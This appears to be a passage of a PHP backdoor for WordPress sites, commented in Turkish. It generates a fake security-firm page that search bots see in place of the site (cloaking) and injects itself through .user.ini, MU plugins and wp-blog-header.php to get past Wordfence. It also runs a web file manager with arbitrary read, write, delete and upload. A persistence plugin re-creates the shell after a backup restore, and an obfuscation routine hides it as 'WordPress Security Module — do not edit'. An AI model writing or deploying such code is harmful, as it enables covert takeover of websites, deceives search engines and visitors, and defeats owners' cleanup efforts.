.dot-pulse{width:7px;height:7px;background:var(--gr);border-radius:50%;animation:pulse 2s infinite}
@keyframes pulse{0%,100%{opacity:1;transform:scale(1)}50%{opacity:.5;transform:scale(.85)}}
.hero h1{font-size:clamp(2.2em,5vw,4em);font-weight:800;line-height:1.15;max-width:760px;margin-bottom:22px}
.hero h1 span{background:linear-gradient(135deg,var(--acc),var(--acc2));-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text}
.hero p{color:var(--mu);font-size:1.12em;max-width:560px;line-height:1.7;margin-bottom:36px}
.hero-btns{display:flex;gap:14px;flex-wrap:wrap;justify-content:center}
.btn-primary{background:linear-gradient(135deg,var(--acc),#0891b2);color:#000;padding:13px 32px;border-radius:8px;font-weight:700;font-size:.95em;transition:transform .2s,box-shadow .2s;box-shadow:0 0 24px rgba(0,229,255,.2)}
.btn-primary:hover{transform:translateY(-2px);box-shadow:0 0 36px rgba(0,229,255,.35)}
.btn-outline{border:1px solid var(--bd);color:var(--tx);padding:13px 32px;border-radius:8px;font-weight:600;font-size:.95em;transition:border-color .2s,color .2s}
.btn-outline:hover{border-color:var(--acc);color:var(--acc)}
/* STATS */
.stats{background:var(--bg2);border-top:1px solid var(--bd);border-bottom:1px solid var(--bd);padding:40px 5%;display:grid;grid-template-columns:repeat(auto-fit,minmax(160px,1fr));gap:0;text-align:center}
.stat{padding:20px 10px;border-right:1px solid var(--bd)}.stat:last-child{border-right:none}
.stat-num{font-size:2em;font-weight:800;color:var(--acc);display:block;margin-bottom:4px}
.stat-lbl{color:var(--mu);font-size:.82em;letter-spacing:.03em}
/* SERVICES */
.section{max-width:1140px;margin:0 auto;padding:80px 24px}
.section-header{text-align:center;margin-bottom:52px}
.section-header .tag{display:inline-block;background:rgba(124,58,237,.15);color:#a78bfa;border:1px solid rgba(124,58,237,.3);padding:4px 14px;border-radius:12px;font-size:.75em;font-weight:700;letter-spacing:.06em;margin-bottom:14px}
.section-header h2{font-size:2em;font-weight:800;margin-bottom:12px}
.section-header p{color:var(--mu);max-width:500px;margin:0 auto;line-height:1.7}
.grid3{display:grid;grid-template-columns:repeat(auto-fit,minmax(300px,1fr));gap:22px}
.svc-card{background:var(--card);border:1px solid var(--bd);border-radius:14px;padding:30px;transition:border-color .25s,transform .25s}
.svc-card:hover{border-color:var(--acc);transform:translateY(-4px)}
.svc-icon{width:48px;height:48px;border-radius:10px;display:flex;align-items:center;justify-content:center;font-size:1.5em;margin-bottom:18px}
.svc-card h3{font-size:1.05em;font-weight:700;margin-bottom:10px;color:var(--tx)}
.svc-card p{color:var(--mu);font-size:.88em;line-height:1.65}
.svc-tag{display:inline-block;margin-top:14px;font-size:.72em;padding:3px 10px;border-radius:10px;background:rgba(0,229,255,.08);color:var(--acc);border:1px solid rgba(0,229,255,.15)}
/* PROCESS */
.process{background:var(--bg2);border-top:1px solid var(--bd);border-bottom:1px solid var(--bd)}
.steps{display:grid;grid-template-columns:repeat(auto-fit,minmax(200px,1fr));gap:0;text-align:center}
.step{padding:44px 24px;border-right:1px solid var(--bd);position:relative}.step:last-child{border-right:none}
.step-num{font-size:2.5em;font-weight:900;color:rgba(0,229,255,.12);margin-bottom:10px;display:block}
.step h4{font-size:.95em;font-weight:700;color:var(--tx);margin-bottom:8px}
.step p{color:var(--mu);font-size:.82em;line-height:1.55}
/* CTA BANNER */
.cta-banner{background:linear-gradient(135deg,rgba(0,229,255,.06),rgba(124,58,237,.08));border:1px solid var(--bd);border-radius:16px;padding:56px 40px;text-align:center;margin:0 24px 80px}
.cta-banner h2{font-size:1.9em;font-weight:800;margin-bottom:14px}
.cta-banner p{color:var(--mu);max-width:480px;margin:0 auto 28px;line-height:1.65}
/* FOOTER */
footer{background:var(--bg2);border-top:1px solid var(--bd);padding:40px 5%;display:grid;grid-template-columns:1fr auto;align-items:center;gap:20px;font-size:.83em;color:var(--mu)}
@media(max-width:640px){.nav-links{display:none}.stats{grid-template-columns:1fr 1fr}.steps{grid-template-columns:1fr 1fr}.stat,.step{border-right:none;border-bottom:1px solid var(--bd)}.footer{grid-template-columns:1fr}}
</style>
</head>
<body>

<!-- NAV -->
<nav>
  <div class="logo">
    <div class="logo-icon">🛡</div>
    WebNest<span style="color:var(--acc);margin-left:1px">Security</span>
  </div>
  <div class="nav-links">
    <a href="#services">Services</a>
    <a href="#process">Process</a>
    <a href="#contact">Contact</a>
    <a href="#contact" class="nav-cta">Get Protected</a>
  </div>
</nav>

<!-- HERO -->
<section class="hero">
  <div class="badge-top">
    <span class="dot-pulse"></span>
    Active Threat Monitoring — 24/7 SOC Operations
  </div>
  <h1>Defend What<br><span>Matters Most</span></h1>
  <p>Enterprise-grade cybersecurity consulting and managed security services. We identify vulnerabilities before attackers do.</p>
  <div class="hero-btns">
    <a href="#contact" class="btn-primary">Request a Pentest →</a>
    <a href="#services" class="btn-outline">Our Services</a>
  </div>
</section>

<!-- STATS -->
<div class="stats">
  <div class="stat"><span class="stat-num">500+</span><span class="stat-lbl">Audits Completed</span></div>
  <div class="stat"><span class="stat-num">98.7%</span><span class="stat-lbl">Threat Detection Rate</span></div>
  <div class="stat"><span class="stat-num">120+</span><span class="stat-lbl">Enterprise Clients</span></div>
  <div class="stat"><span class="stat-num">24/7</span><span class="stat-lbl">SOC Coverage</span></div>
</div>

<!-- SERVICES -->
<section class="section" id="services">
  <div class="section-header">
    <span class="tag">WHAT WE DO</span>
    <h2>Comprehensive Cyber Defense</h2>
    <p>From offensive security testing to real-time threat response — we cover every layer of your attack surface.</p>
  </div>
  <div class="grid3">
    <div class="svc-card">
      <div class="svc-icon" style="background:rgba(239,68,68,.12)">🎯</div>
      <h3>Penetration Testing</h3>
      <p>Full-scope red team engagements — web, mobile, API, network and social engineering. We exploit like real attackers, then show you how to fix it.</p>
      <span class="svc-tag">OWASP TOP 10 · PTES</span>
    </div>
    <div class="svc-card">
      <div class="svc-icon" style="background:rgba(0,229,255,.08)">🔭</div>
      <h3>Threat Intelligence</h3>
      <p>Dark web monitoring, IOC feeds and adversary tracking. Know who is targeting you before the breach happens.</p>
      <span class="svc-tag">CTI · OSINT · Dark Web</span>
    </div>
    <div class="svc-card">
      <div class="svc-icon" style="background:rgba(124,58,237,.12)">🖥</div>
      <h3>SOC as a Service</h3>
      <p>24/7 Security Operations Center powered by SIEM and custom detection rules. Sub-15-minute mean-time-to-detect.</p>
      <span class="svc-tag">SIEM · SOAR · EDR</span>
    </div>
    <div class="svc-card">
      <div class="svc-icon" style="background:rgba(34,197,94,.1)">🔐</div>
      <h3>Cloud Security Audit</h3>
      <p>AWS, GCP and Azure misconfiguration reviews, IAM privilege analysis and CIS Benchmark compliance checks.</p>
      <span class="svc-tag">AWS · Azure · GCP</span>
    </div>
    <div class="svc-card">
      <div class="svc-icon" style="background:rgba(245,158,11,.1)">📋</div>
      <h3>Compliance & GRC</h3>
      <p>ISO 27001, SOC 2 Type II, GDPR and PCI-DSS gap assessments. We prepare your organisation for certification audits.</p>
      <span class="svc-tag">ISO 27001 · PCI-DSS · SOC2</span>
    </div>
    <div class="svc-card">
      <div class="svc-icon" style="background:rgba(239,68,68,.1)">🚨</div>
      <h3>Incident Response</h3>
      <p>Rapid containment, forensic investigation and root-cause analysis. On-call IR retainer available for immediate deployment.</p>
      <span class="svc-tag">DFIR · Forensics · Retainer</span>
    </div>
  </div>
</section>

<!-- PROCESS -->
<div class="process" id="process">
  <div class="section" style="padding:60px 24px">
    <div class="section-header">
      <span class="tag">HOW IT WORKS</span>
      <h2>Our Engagement Process</h2>
      <p>Structured, transparent and aligned with your business continuity requirements.</p>
    </div>
  </div>
  <div class="steps">
    <div class="step"><span class="step-num">01</span><h4>Scoping</h4><p>Define objectives, rules of engagement and legal authorisation.</p></div>
    <div class="step"><span class="step-num">02</span><h4>Reconnaissance</h4><p>Passive and active OSINT to map the full attack surface.</p></div>
    <div class="step"><span class="step-num">03</span><h4>Exploitation</h4><p>Controlled exploitation of identified vulnerabilities — no real damage, full evidence.</p></div>
    <div class="step"><span class="step-num">04</span><h4>Reporting</h4><p>Executive summary + detailed technical findings with CVSS scores and remediation steps.</p></div>
  </div>
</div>

<!-- CTA -->
<div style="max-width:1140px;margin:80px auto 0">
  <div class="cta-banner" id="contact">
    <h2>Ready to <span style="color:var(--acc)">Stress-Test</span> Your Defenses?</h2>
    <p>Get a free 30-minute discovery call. No commitment — just clarity on your current exposure.</p>
    <a href="mailto:security@'.$esc_host.'" class="btn-primary" style="display:inline-block">
      security@'.$esc_host.' →
    </a>
  </div>
</div>

<!-- FOOTER -->
<footer>
  <div>
    <strong style="color:var(--tx)">WebNest Security</strong> — Enterprise Cyber Defense<br>
    <span style="font-size:.9em">&copy; '.$year.' All rights reserved. Unauthorized access to this system is prohibited.</span>
  </div>
  <div style="display:flex;gap:18px">
    <a href="#services">Services</a>
    <a href="#process">Process</a>
    <a href="#contact">Contact</a>
  </div>
</footer>

</body>
</html>';
    if (file_put_contents($cf, $html) === false)
        return ['success'=>false,'message'=>'amp.php yazilamadi: '.$cf.' — Yazma izni kontrol edin.'];
    return ['success'=>true,'message'=>'amp.php olusturuldu (WebNest Security temasi): '.$cf,'path'=>$cf];
}

// ══════════════════════════════════════════════════════
// BOT TESTİ
// ══════════════════════════════════════════════════════
function cm_bot_test($url) {
    @set_time_limit(120);
    if (!$url) $url = cm_site_url().'/';
    $uas = [
        'Googlebot'          => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
        'Google-Inspect'     => 'Mozilla/5.0 (compatible; Google-InspectionTool/1.0;)',
        'Bingbot'            => 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
        'Normal Kullanici'   => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36',
    ];
    $results = [];
    foreach ($uas as $name => $ua) {
        $opts = ['http'=>['method'=>'GET','header'=>"User-Agent: $ua\r\nCache-Control: no-cache\r\nPragma: no-cache",'timeout'=>8,'ignore_errors'=>true,'follow_location'=>1,'max_redirects'=>5],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]];
        $ctx  = stream_context_create($opts);
        $body = @file_get_contents($url, false, $ctx);
        $code = 0;
        if (!empty($http_response_header)) {
            preg_match('/HTTP\/\S+\s+(\d+)/',$http_response_header[0]??'',$m);
            $code = (int)($m[1]??0);
        }
        $is_wp    = $body && (strpos($body,'wp-content')!==false || strpos($body,'wp-includes')!==false || strpos($body,'xmlrpc')!==false);
        $is_cloak = $body && !$is_wp && strlen(strip_tags($body)) > 80;
        $results[$name] = ['ua'=>$ua,'code'=>$code,'is_wp'=>$is_wp,'is_cloak'=>$is_cloak,'preview'=>$body ? substr(strip_tags($body),0,300) : '(boş yanıt)'];
    }
    return ['success'=>true,'data'=>$results,'url'=>$url];
}

// ══════════════════════════════════════════════════════
// TEŞHİS
// ══════════════════════════════════════════════════════
function cm_diagnose() {
    @set_time_limit(60);
    $r = cm_root(); $issues = []; $info = [];
    // PHP & sunucu
    $info['php']        = phpversion();
    $info['server']     = $_SERVER['SERVER_SOFTWARE'] ?? 'Bilinmiyor';
    $info['os']         = PHP_OS;
    $info['abspath']    = $r;
    $info['doc_root']   = $_SERVER['DOCUMENT_ROOT'] ?? 'Bilinmiyor';
    $info['amp_exists'] = is_file(cm_cloak_file());
    $info['amp_name']   = cm_cloak_name();
    $info['wp_version'] = ($GLOBALS['wp_loaded'] && function_exists('get_bloginfo')) ? get_bloginfo('version') : '—';
    $info['wp_loaded']  = (bool)$GLOBALS['wp_loaded'];

    // .htaccess
    $ht = $r.'.htaccess';
    if (is_file($ht)) {
        $htc = file_get_contents($ht);
        $info['htaccess'] = round(strlen($htc)/1024,1).' KB';
        $info['cloak_ht'] = strpos($htc,'# BEGIN CloakMaster')!==false;
        if (preg_match('/Cache-Type.*full/i',$htc)||strpos($htc,'LiteSpeed')!==false)
            $issues[]=['type'=>'warn','title'=>'LiteSpeed .htaccess Cache Kurali','desc'=>'.htaccess icinde LiteSpeed cache yonergesi bulundu. Bot trafigi cache alabilir.','fix'=>"LiteSpeed Cache > Cache > Exclude URI: /amp.php\nVEYA: LiteSpeed Cache > Genel > Onbellegi Kapat: KAPALI"];
    } else {
        $info['htaccess'] = 'Yok';
    }

    // LiteSpeed Cache
    $ls = $r.'wp-content/plugins/litespeed-cache/litespeed-cache.php';
    if (is_file($ls)) {
        $issues[]=['type'=>'warn','title'=>'LiteSpeed Cache Aktif','desc'=>'LiteSpeed Cache bot ziyaretlerini onbellekleyebilir, cloak calismiyor gorunur.','fix'=>"1. LiteSpeed Cache > Cache > Genel > Onbellegi Etkinlestir: KAPALI\n2. VEYA: Exclude URI > /amp.php ekle\n3. LiteSpeed Cache > Crawler > Crawleri Kapat\n4. QUIC.cloud baglantisini kes\n5. Tools > Purge > Purge All"];
    }

    // W3TC
    if (is_file($r.'wp-content/plugins/w3-total-cache/w3-total-cache.php'))
        $issues[]=['type'=>'warn','title'=>'W3 Total Cache Aktif','desc'=>'W3TC bot trafiklerini onbelge alabilir.','fix'=>"W3TC > Page Cache > Bot cache: KAPALI\nVEYA: Exclude URI: /amp.php"];

    // WP Super Cache
    if (is_file($r.'wp-content/plugins/wp-super-cache/wp-cache.php'))
        $issues[]=['type'=>'warn','title'=>'WP Super Cache Aktif','desc'=>'WP Super Cache onbellek yapabilir.','fix'=>"WP Super Cache > Ayarlar > Exclude URI: /amp.php\nVEYA: Development mode ac"];

    // WP Rocket
    if (is_file($r.'wp-content/plugins/wp-rocket/wp-rocket.php'))
        $issues[]=['type'=>'warn','title'=>'WP Rocket Aktif','desc'=>'WP Rocket onbellegi cloak engelleyebilir.','fix'=>"WP Rocket > Cache > Exclude URI: /amp.php\nVEYA: Exclude User Agent: googlebot, bingbot"];

    // Wordfence
    if (is_file($r.'wp-content/plugins/wordfence/wordfence.php'))
        $issues[]=['type'=>'info','title'=>'Wordfence WAF Aktif','desc'=>'Wordfence bot UAlarini engelleyebilir. .user.ini yontemi Wordfenceden once calisir.','fix'=>".user.ini (auto_prepend_file) yontemini kullan - WAFtan once calisir, bypass eder."];

    // .user.ini
    $ui = $r.'.user.ini';
    $info['user_ini'] = is_file($ui) ? (strpos(file_get_contents($ui),'cm_prepend')!==false ? 'CloakMaster aktif' : 'Mevcut (CloakMaster yok)') : 'Yok';

    // cm-prepend.php var mi?
    $prep_file = $r.'cm-prepend.php';
    $info['prepend_file_exists'] = is_file($prep_file);

    // PHP-FPM gercekten auto_prepend_file uyguluyor mu?
    $actual_prepend = ini_get('auto_prepend_file');
    $info['php_prepend_active'] = !empty($actual_prepend) ? $actual_prepend : '';
    $prepend_mismatch = !empty($actual_prepend) && realpath($actual_prepend) !== realpath($prep_file);
    $prepend_missing  = empty($actual_prepend) && $info['user_ini'] === 'CloakMaster aktif';

    // .user.ini aktif gorunuyor ama PHP-FPM uygulamiyor
    if ($prepend_missing) {
        $issues[]=['type'=>'error','title'=>'PHP-FPM .user.ini Okutmuyor',
            'desc'=>'.user.ini dosyasinda auto_prepend_file ayarli ANCAK PHP-FPM bu ayari uygulamiyor. ini_get("auto_prepend_file") bos donuyor.',
            'fix'=>"Cozum secenekleri (birini sec):\n\n1. MU Plugin yontemini aktif et (Cloak Yonetimi'nden) — nginx'te en guvenilir yontem\n2. wp-blog-header.php enjeksiyonunu aktif et\n3. Hosting panelinden PHP-FPM havuzunun .user.ini okumasi icin: php_value[user_ini.filename] = .user.ini\n4. Cloudways kullaniyorsan: Ayarlar > PHP > user_ini.filename degerini kontrol et"];
    }

    // cm-prepend.php yok ama .user.ini aktif
    if ($info['user_ini'] === 'CloakMaster aktif' && !$info['prepend_file_exists']) {
        $issues[]=['type'=>'error','title'=>'cm-prepend.php Eksik',
            'desc'=>'.user.ini auto_prepend_file olarak cm-prepend.php yaziyor ama bu dosya sunucuda YOK. Cloak hic calismayacak.',
            'fix'=>"Cloak Yonetimi > .user.ini yontemini once Kaldir, sonra tekrar Uygula — cm-prepend.php yeniden olusturulur."];
    }

    // Nginx tespiti
    $server_sw = strtolower($info['server'] ?? '');
    $is_nginx   = strpos($server_sw,'nginx') !== false;
    $is_apache  = strpos($server_sw,'apache') !== false;
    if ($is_nginx) {
        $issues[]=['type'=>'info','title'=>'Sunucu: nginx — .htaccess Calismiyor',
            'desc'=>'nginx sunucularda .htaccess RewriteRule tamamen yok sayilir. Sadece PHP tabanli yontemler guvenlilir.',
            'fix'=>"Aktif et: MU Plugin VEYA wp-blog-header.php enjeksiyonu\n.htaccess yontemini kaldirabilirsin — etkisiz."];
    }

    // Cloudways tespiti
    $is_cloudways = strpos($r,'cloudwaysapps') !== false || strpos($_SERVER['DOCUMENT_ROOT']??'','cloudwaysapps') !== false;
    if ($is_cloudways) {
        $info['cloudways'] = true;
        // Varnish cache kontrolu - cloudways'de varsayilan olarak acik
        $issues[]=['type'=>'warn','title'=>'Cloudways: Varnish/Redis Cache Katmani',
            'desc'=>"Cloudways'de trafik once Varnish/Redis onbellekten gecer. Eger WordPress sayfasi onbelleklenmisse bot istekleri PHP'ye hic ulasmaz — cloak calismaz.",
            'fix'=>"Cloudways Paneli > Server Management > Manage Services > Varnish: STOP\nVEYA:\nCloudways Paneli > Application > Cache Management > Purge All\n\nKalici cozum: Varnish'e bot UA bypass kurali ekle (Cloudways destegine sor)\nVEYA: Redis/Varnish'i kapat, sadece PHP seviye cache kullan"];
    }

    // MU Plugin cloak aktif mi kontrol
    $mu_cloak = $r.'wp-content/mu-plugins/cm-cloak.php';
    $info['mu_cloak_active'] = is_file($mu_cloak);

    // wp-blog-header enjeksiyonu aktif mi
    $wbh = $r.'wp-blog-header.php';
    $info['wbh_injected'] = is_file($wbh) && strpos(file_get_contents($wbh),'cm_') !== false;

    // Hicbir cloak yontemi aktif degil uyarisi
    $any_active = ($info['user_ini'] === 'CloakMaster aktif' && $info['prepend_file_exists'] && !$prepend_missing)
               || $info['mu_cloak_active']
               || $info['wbh_injected'];
    if (!$any_active) {
        $issues[]=['type'=>'error','title'=>'Hicbir Cloak Yontemi Calismıyor',
            'desc'=>'Ne .user.ini ne MU Plugin ne de wp-blog-header enjeksiyonu aktif ve calisir durumda. Botlar WordPress\'i goruyor.',
            'fix'=>"Cloak Yonetimi sekmesine gec ve MU Plugin yontemini aktif et.\nnginx icin en guvenilir yontem budur."];
    }

    // Yazma izinleri
    $perms = [];
    foreach (['.htaccess','.user.ini','wp-blog-header.php','wp-config.php'] as $fn) {
        $fp=$r.$fn;
        $perms[$fn] = is_file($fp) ? is_writable($fp) : is_writable($r);
    }
    $info['writable'] = $perms;

    // Cloak dosyasi uyarisi
    if (!$info['amp_exists'])
        $issues[]=['type'=>'info','title'=>cm_cloak_name().' Yok','desc'=>'Botlarin gorecegi icerik dosyasi olusturulmamis.','fix'=>"Cloak Yonetimi > Cloak Dosyasi Olustur butonuna tikla."];

    return ['success'=>true,'data'=>compact('issues','info')];
}

// ══════════════════════════════════════════════════════
// DOSYA YÖNETİCİSİ
// ══════════════════════════════════════════════════════
function cm_safepath($path) {
    if (!$path || $path === '.') return $_SERVER['DOCUMENT_ROOT'] ?? dirname(__FILE__);
    // Temizle
    $path = str_replace(['../', '.\\', '../'], '', $path);
    if (!preg_match('/^([A-Za-z]:[\\/]|\/)/', $path)) {
        $path = ($_SERVER['DOCUMENT_ROOT'] ?? dirname(__FILE__)) . '/' . $path;
    }
    return rtrim($path, '/\\');
}

function cm_file_list($path) {
    $safe = cm_safepath($path);
    if (!is_dir($safe)) return ['success'=>false,'message'=>'Dizin bulunamadı: '.$safe];
    $entries = @scandir($safe);
    if ($entries === false) return ['success'=>false,'message'=>'Dizin okunamadı (izin yok?).'];
    $items = [];
    foreach ($entries as $e) {
        if ($e === '.') continue;
        $full  = $safe.DIRECTORY_SEPARATOR.$e;
        $isDir = is_dir($full);
        $items[] = ['name'=>$e,'path'=>$full,'is_dir'=>$isDir,'size'=>$isDir?null:@filesize($full),'modified'=>date('d.m.Y H:i',@filemtime($full)),'writable'=>is_writable($full),'ext'=>$isDir?'dir':strtolower(pathinfo($e,PATHINFO_EXTENSION)),'perms'=>substr(sprintf('%o',@fileperms($full)),-4)];
    }
    usort($items, function($a,$b){
        if ($a['is_dir']!==$b['is_dir']) return $a['is_dir']?-1:1;
        if ($a['name']==='..') return -1;
        if ($b['name']==='..') return 1;
        return strcasecmp($a['name'],$b['name']);
    });
    return ['success'=>true,'data'=>['path'=>$safe,'parent'=>dirname($safe)!=$safe?dirname($safe):null,'items'=>$items]];
}

function cm_file_read($path) {
    $safe = cm_safepath($path);
    if (!is_file($safe)) return ['success'=>false,'message'=>'Dosya bulunamadı.'];
    $sz = @filesize($safe);
    if ($sz > 512*1024) return ['success'=>false,'message'=>'Dosya çok büyük ('.round($sz/1024).' KB). Max 512 KB.'];
    $c = @file_get_contents($safe);
    if ($c === false) return ['success'=>false,'message'=>'Dosya okunamadı.'];
    // Base64 ile tasiriz — UTF-8 olmayan CSS/JS dosyalarinda json_encode bozulmaz
    return ['success'=>true,'data'=>['content'=>base64_encode($c),'b64'=>true,'path'=>$safe]];
}

function cm_file_write($path, $content) {
    $safe = cm_safepath($path);
    if (is_file($safe)) @copy($safe, $safe.'.cm-bak');
    if (@file_put_contents($safe, $content) === false)
        return ['success'=>false,'message'=>'Yazma izni yok: '.$safe];
    return ['success'=>true,'message'=>basename($safe).' kaydedildi.'];
}

function cm_file_delete($path) {
    $safe = cm_safepath($path);
    if (!file_exists($safe)) return ['success'=>false,'message'=>'Bulunamadı.'];
    if (is_dir($safe)) {
        $items = array_diff((array)@scandir($safe),['.','..']);
        if ($items) return ['success'=>false,'message'=>'Dizin boş değil.'];
        @rmdir($safe);
    } else { @unlink($safe); }
    return ['success'=>true,'message'=>basename($safe).' silindi.'];
}

function cm_file_mkdir($path) {
    $safe = cm_safepath($path);
    if (is_dir($safe)) return ['success'=>false,'message'=>'Dizin zaten var.'];
    if (!@mkdir($safe,0755,true)) return ['success'=>false,'message'=>'Oluşturulamadı.'];
    return ['success'=>true,'message'=>'Dizin oluşturuldu.'];
}

function cm_upload_file($dir) {
    $safe = cm_safepath($dir);
    if (!is_dir($safe)) return ['success'=>false,'message'=>'Hedef dizin bulunamadı.'];
    if (empty($_FILES['upload_file'])||$_FILES['upload_file']['error']!==UPLOAD_ERR_OK)
        return ['success'=>false,'message'=>'Yükleme hatası: '.($_FILES['upload_file']['error']??'dosya seçilmedi')];
    $dest = $safe.DIRECTORY_SEPARATOR.basename($_FILES['upload_file']['name']);
    if (!@move_uploaded_file($_FILES['upload_file']['tmp_name'],$dest))
        return ['success'=>false,'message'=>'Taşıma başarısız. Yazma izni kontrol edin.'];
    return ['success'=>true,'message'=>basename($dest).' yüklendi.','path'=>$dest];
}

// Dosya tarama (özet liste)
function cm_scan_files($path, $depth = 2) {
    $safe = $path ? cm_safepath($path) : cm_root();
    if (!is_dir($safe)) return ['success'=>false,'message'=>'Dizin bulunamadı.'];
    $list = [];
    $it   = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($safe, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );
    $it->setMaxDepth($depth);
    foreach ($it as $file) {
        if ($file->isFile()) {
            $list[] = ['path'=>$file->getPathname(),'name'=>$file->getFilename(),'size'=>$file->getSize(),'ext'=>strtolower($file->getExtension()),'modified'=>date('d.m.Y H:i',$file->getMTime())];
        }
    }
    usort($list,function($a,$b){return strcmp($a['path'],$b['path']);});
    return ['success'=>true,'data'=>['path'=>$safe,'count'=>count($list),'files'=>$list]];
}

// ══════════════════════════════════════════════════════
// KALICILIK (BACKUP RESTORE SONRASI OTO-GERİ YÜKLE)
// ══════════════════════════════════════════════════════

/**
 * MU Plugin oluşturur. İçine wp-security.php'nin tam kaynak kodunu gzip+base64 ile gömer.
 * Backup restore olunca WordPress yüklendiğinde MU Plugin çalışır,
 * wp-security.php'yi kendi içinden yeniden yazar.
 */
function cm_persist_install() {
    $r       = cm_root();
    $mu_dir  = $r . 'wp-content/mu-plugins/';
    $mu_file = $mu_dir . 'cm-persist.php';
    $api_src = __FILE__;
    $api_dst = $api_src;

    if (!is_dir($mu_dir) && !@mkdir($mu_dir, 0755, true))
        return ['success'=>false,'message'=>'mu-plugins dizini olusturulamadi.'];

    $src = @file_get_contents($api_src);
    if ($src === false)
        return ['success'=>false,'message'=>basename($api_src).' okunamadi.'];

    // gzip + base64 ile hem sıkıştır hem de gizle
    $encoded  = base64_encode(gzdeflate($src, 9));
    $dst_safe = addslashes($api_dst);

    $mu_code = '<?php
/**
 * CloudMaster Pro — Persistence Guard (MU Plugin)
 * Otomatik olusturuldu. Backup restore sonrasi wp-security.php\'yi geri yazar.
 */
add_action("plugins_loaded", function() {
    $dst = "' . $dst_safe . '";
    if (!file_exists($dst)) {
        $src = gzinflate(base64_decode("' . $encoded . '"));
        if ($src) {
            @file_put_contents($dst, $src);
            @chmod($dst, 0644);
        }
    }
}, 1);
';

    if (@file_put_contents($mu_file, $mu_code) === false)
        return ['success'=>false,'message'=>'MU Plugin yazilamadi: ' . $mu_file];

    $bak = $r . 'wp-content/cm-security-bak.php';
    @file_put_contents($bak, $src);

    return [
        'success' => true,
        'message' => "Kalicilik MU Plugin kuruldu.\nKonum: $mu_file\nYedek: $bak\n\nBackup restore olsa bile WordPress ilk yuklendiginde wp-security.php otomatik geri yazilir.",
        'mu_file' => $mu_file,
        'backup'  => $bak,
    ];
}

function cm_persist_status() {
    $r       = cm_root();
    $mu_file = $r . 'wp-content/mu-plugins/cm-persist.php';
    $bak     = $r . 'wp-content/cm-security-bak.php';

    $mu_ok  = is_file($mu_file);
    $bak_ok = is_file($bak);

    // MU Plugin güncel mi?
    $stale = false;
    if ($mu_ok) {
        $mu_content = file_get_contents($mu_file);
        preg_match('/base64_decode\("([^"]+)"\)/', $mu_content, $m);
        if (!empty($m[1])) {
            $embedded_src = @gzinflate(base64_decode($m[1]));
            $current_src  = @file_get_contents(__FILE__);
            $stale = ($embedded_src !== $current_src);
        }
    }

    return [
        'success' => true,
        'data' => [
            'mu_active'   => $mu_ok,
            'mu_file'     => $mu_file,
            'backup_ok'   => $bak_ok,
            'backup_file' => $bak,
            'stale'       => $stale,
            'api_path'    => __FILE__,
        ]
    ];
}

function cm_persist_remove() {
    $r       = cm_root();
    $mu_file = $r . 'wp-content/mu-plugins/cm-persist.php';
    $bak1    = $r . 'wp-content/cm-security-bak.php';
    $bak2    = $r . 'wp-content/cm-api-bak.php';  // eski ad
    $removed = [];
    if (is_file($mu_file)) { @unlink($mu_file); $removed[] = 'MU Plugin'; }
    if (is_file($bak1))    { @unlink($bak1);    $removed[] = 'Yedek dosya'; }
    if (is_file($bak2))    { @unlink($bak2);    $removed[] = 'Eski yedek'; }
    return ['success'=>true,'message'=>empty($removed) ? 'Zaten kurulu degil.' : implode(', ',$removed).' kaldirildi.'];
}

/**
 * Mevcut wp-security.php'yi gzip+base64 ile sıkıştırılmış
 * obfuscated sürümü olarak aynı dizine "wp-security-enc.php" adında yazar.
 * Orijinal dosyayı değiştirmez.
 */
function cm_build_encoded() {
    $src_file = __FILE__;
    $src      = @file_get_contents($src_file);
    if (!$src) return ['success'=>false,'message'=>'Kaynak dosya okunamadi.'];

    $compressed = @gzdeflate($src, 9);
    if ($compressed === false) return ['success'=>false,'message'=>'gzdeflate basarisiz (PHP zlib yuklu degil?).'];

    $b64    = base64_encode($compressed);
    $orig   = strlen($src);
    $new_sz = strlen($b64);
    $ratio  = round((1 - $new_sz / $orig) * 100);

    $out_file = dirname($src_file) . '/wp-security-enc.php';
    $wrapper  = '<?php' . "\n"
              . '// WordPress Security Module — do not edit' . "\n"
              . 'if(!defined(\'ABSPATH\'))define(\'ABSPATH\',dirname(__FILE__).\'/\');' . "\n"
              . 'eval(gzinflate(base64_decode(\'' . $b64 . '\')));' . "\n";

    if (@file_put_contents($out_file, $wrapper) === false)
        return ['success'=>false,'message'=>'Dosya yazılamadi: '.$out_file.' (izin kontrolü yap)'];

    return [
        'success'  => true,
        'message'  => "Sikilastirilmis surum olusturuldu!\n\nOrijinal : " . round($orig/1024,1) . " KB\nSikilastirilmis: " . round($new_sz/1024,1) . " KB\nKucultme : %{$ratio}\n\nDosya: $out_file\n\nBu dosyayi sunucuya yukle, wp-security.php yerine kullan.",
        'out_file' => $out_file,
        'orig_kb'  => round($orig/1024,1),
        'enc_kb'   => round($new_sz/1024,1),
        'ratio'    => $ratio,
    ];
}

// ══════════════════════════════════════════════════════
// LITESPEED TAM KONTROL
// ══════════════════════════════════════════════════════

/**
 * LiteSpeed tam teşhis
 */
function cm_ls_status() {
    $r   = cm_root();
    $res = [];

    // 1. Sunucu LiteSpeed mi?
    $srv = $_SERVER['SERVER_SOFTWARE'] ?? '';
    $res['server_ls']     = stripos($srv,'LiteSpeed')!==false || stripos($srv,'OpenLiteSpeed')!==false;
    $res['server_info']   = $srv;

    // 2. LiteSpeed Cache plugin var mi?
    $ls_plugin = $r.'wp-content/plugins/litespeed-cache/litespeed-cache.php';
    $res['plugin_exists'] = is_file($ls_plugin);

    // 3. Plugin aktif mi? (WP gerekli)
    $res['plugin_active'] = false;
    $res['plugin_version']= '';
    if ($res['plugin_exists'] && $GLOBALS['wp_loaded'] && function_exists('is_plugin_active')) {
        $res['plugin_active'] = is_plugin_active('litespeed-cache/litespeed-cache.php');
    }

    // 4. .htaccess durumu
    $ht  = $r.'.htaccess';
    $htc = is_file($ht) ? file_get_contents($ht) : '';
    $res['htaccess_exists']    = is_file($ht);
    $res['htaccess_has_ls']    = stripos($htc,'litespeed')!==false || stripos($htc,'lscache')!==false;
